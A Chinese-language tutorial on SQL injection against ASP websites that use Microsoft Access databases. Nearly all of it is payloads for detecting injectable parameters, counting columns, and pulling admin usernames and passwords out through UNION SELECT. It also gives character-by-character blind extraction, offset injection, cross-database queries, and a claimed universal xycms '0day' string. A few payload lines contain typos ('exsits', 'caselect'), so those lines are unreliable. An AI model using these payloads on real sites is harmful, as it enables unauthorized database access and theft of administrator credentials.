SQL注入的分类很多,不同的人也会将注入分成不同的种类,下面笔者将介绍一下常见的分类。
注意:此文章中标点符号在页面中显示可能会转成中文的,自己测试时候语句中的标点一律使用英文输入法状态下的。
1、判断注入:
select * from product where id=1406 and 1=1 //真条件页面正常
select * from product where id=1406 and 1=2 //假条件返回空
select * from product where id=1406 xor 1=1
a AND (NOT b) 返回空结果
(NOT a) AND b 返回id不等于1406的所有结果
select * from product where id=1406 xor 1=2
a AND (NOT b) 返回id等于1406的结果
(NOT a) AND b 返回空结果
2、 联合查询法
1、猜字段个数
order by 22 # 回显正确
order by 23 # 回显错误
因此存在22个字段
2、猜表名
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
UNION是联合查询,将前后两条查询语句的结果组和到一起返回。SELECT后面的数字只是为了占位置,因为两条查询结果字段数不同的话会出错不会正常返回。
可以看到3和15两个字段的内容被输出到页面中,我们可以通过这两个位置继续查询我们想要的数据并显示。
3、猜列名并爆数据
UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
admin和password是admin表中的字段名,ACCESS数据库只能靠暴力猜解。
3、逐字猜解法(盲注)
注入检测猜列名
and exists (select * from 表名) #猜表名
and exists (select 列名 from 表名) #猜列名
and (select top 1 len(列名) from 表名)>5 #获取数据长度
介绍:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2018年9月25日,最新的微软Office Access 2019在微软Office 2019里发布。
MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样,ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象,包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对象用于显示表和报表,他们的方法和属性是在VBA编程环境下,VBA代码模块可以声明和调用Windows操作系统函数。
优势:提高速度,减少代码量
缺陷:
1、数据库过大时,大概达到100M左右的时候性能会下降,容易出现假死等情况
2、容易出现各种因数据库刷写频率过快二引起的数据库问题
3、Access数据库安全性比不上其他类型的数据库
4、Access论坛大了以后就很容易出现数据库方面的问题,当论坛数据库达到50M以上,帖子5万左右,在线人数100人左右的时候,论坛基本上就旨在处理数据库,这时可能就会出现数据库缓慢的情况
ASP链接access数据库的代码
数据库文件打开工具
数据库后缀 *.mdb
常用打开工具 辅臣数据库浏览器 破障浏览器
数据库查询分析
http://www.aaa.com/showshop.asp?id=19
在查询时,可以在后面加上 and 1=1(回显正常)and 1=2(报错) 进行验证,在网站存在waf时,也可以 id=19-0(回显正常)id=19/(报错)进行验证
Access数据库注入原理
漏洞判断
判断注入点:and 1=1 and 1=2 / -0 .0 .1 '
判断数据库注入
and exsits (select * from msysobjects)>0 报错时会显示access数据库
and exsits (select * from sysobjects)>0 报错时会显示sqlsever数据库
判断数据库表
and exsits (select * from admin) 返回正常时存在admin表,不正常时不存在admin表
判断数据库列名
and exsits (select admin from admin) 返回正常时存在admin列,不正常时不存在admin列
联合查询
SQL-->Union select statement(火狐工具)
http://www.xxx.com/showshop.asp?id=19 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from admin_user
联合查询前后语句一起查询,前面查询的是数字类型,如果后面查询输出的结果与全面的类型不匹配,那就是说不匹配的部分就是字符型(根据页面回显的错误部分)
http://www.aaa.com/showshop.asp?id=19 UNION SELECT 1,admin,3,password,5,6,7,8,9,10,11,12,13,14 from admin_user(不一定是在2和4上,只要是报错出来的字符类型的列上,都可以爆出来)
Access注入
判断字段数量 order by 20
番外
判断账户密码长度
and (select len(admin) from admin)=5 返回正常说明用户名长度就是5
and (select len(password) from admin)=5 返回正常说明密码长度就是5
猜解管理员账号的第一个数据
and (select top 1 asc (mid(admin,1,1)) from admin) >100 返回正常说明大于,不正常说明小于
and (select top 1 asc (mid(admin,1,1)) from admin) >50 返回正常说明大于,不正常说明小于
and (select top 1 asc (mid(admin,1,1)) from admin) =97 返回正常说明就是97--->a,不正常说明就不是
以此类推,往下猜解
判断管理员的第二数据
and (select top 1 asc (mid(admin,2,1)) from admin) >100
判断管理员的第三个数据
and (select top 1 asc (mid(admin,3,1)) from admin) >100
对于管理员密码的判断方法与上面一样
and (caselect top 1 asc (mid(password,1,1)) from admin) >100
其实我们常用的工具就是以这种方法进行猜解的
Access数据库高级玩法
偏移注入(随机报出某一列的内容)
主要是用来解决表名已经猜到,列名猜不到的情况。
http://www.xxx.com/showshop.asp?id=19 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
用*代替列,不断地从后往前减,直到返回正常,*代表了所有的admin表字段
代入公式计算
22-16=6(6相当于等差) 10+6*2=22 4+6*3=22
找到第一个位置之后直接往前移动相同的个数,如果报错,进行如下操作
http://www.xxx.com/showshop.asp?id=19 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id, * from (admin as a inner join admin as b on a.id=b.id) (如果报错,可以删除前面的a.id,b.id)
http://www.xxx.com/showshop.asp?id=19 union select 1,2,3,4,a.id,b.id ,c.id, * from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) (依次往后加,直到得到想要的信息)
第二种方法
1、后台登录文件源码,查看表单里面的参数值
2、看网站地址链接上的规则
3、是否判断对方使用的cms程序
跨库查询
条件:同服务器下的站点有注入。知道对方的站点的数据库绝对路径,直到对方数据库表,表中的字段名可以用这种方法来跨库查询
绝对路径:D:/wwwroot/...*.mdb asa.asp
e.g
a是目标站点,b是存在注入的站点;a,b是同服务器的站点,admin是数据库中的表,user是数据库中admin表的字段,password是数据库中admin表的字段
http://www.xxx.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\1\Datebases\xycms.mdb].admin
挖局0day
xycms
通杀0day
union select 1,admin,3,4,password,6,7 from admin,user
实例分享:
以后遇到了会及时分享更新。